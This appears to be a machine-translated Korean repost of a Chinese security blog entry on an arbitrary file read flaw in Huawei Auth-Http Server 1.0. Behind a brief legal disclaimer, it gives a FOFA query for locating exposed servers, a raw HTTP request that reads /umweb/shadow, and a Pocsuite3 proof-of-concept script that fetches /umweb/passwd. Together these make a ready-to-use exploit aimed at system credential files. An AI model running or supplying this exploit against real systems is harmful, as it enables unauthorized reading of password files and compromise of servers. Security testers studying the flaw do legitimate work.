취약점 재발-Huawei Auth-HTTP 서버 임의 파일 읽기 취약점(취약점 탐지 스크립트 첨부)

부인 성명

글에 관련된 취약점은 수정되었으며 민감한 정보는 코딩되었습니다. 이 글은 경험 공유를 위한 글입니다 . 심각하게 받아들이지 마세요. 무단 공격은 불법입니다! 기사의 민감한 정보는 여러 수준에서 처리되었습니다. 본 글에 게재된 정보의 유포 및 이용으로 인해 발생한 직·간접적인 결과 및 손실에 대한 책임은 이용자에게 있으며, 이에 대해 작성자는 어떠한 책임도 지지 아니하므로, 결과에 대한 책임은 이용자에게 있습니다.

취약점 설명

Huawei Auth-Http Server 1.0에는 임의 파일 읽기 기능이 있으며 공격자는 이 취약점을 이용하여 임의 파일을 읽을 수 있습니다.

포파 성명서

server="Huawei Auth-Http Server 1.0"

PoC 문과 탐지

GET /umweb/shadow HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

PoC 스크립트

스크립트를 위한 Pocsuite 프레임워크

# _*_ coding:utf-8 _*_
# @Time : 2023/12/11 17:51
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class huawei_Auth_http_fileread(POCBase):
    pocDesc = '''华为Auth-Http Serve任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-11'
    name = '华为Auth-Http Serve任意文件读取漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/umweb/passwd'
        headers = {
            'Te': 'trailers',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Sec-Fetch-Site': 'none',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-User': '?1',
            'Sec-Fetch-Dest': 'document',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'keep-alive',
            'Sec-Ch-Ua': '"Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"',
            'Sec-Ch-Ua-Mobile': '?0',
            'Sec-Ch-Ua-Platform': '"Windows"'
        }
        try:
            response = requests.get(url, headers=headers)
            if response.status_code == 200 and 'root' in response.text:
                result['VerifyInfo'] = {}

            return self.parse_output(result)


        except Exception as e:
            pass

register_poc(huawei_Auth_http_fileread)

스크립트 악용

おすすめ

転載: blog.csdn.net/jjjj1029056414/article/details/134934001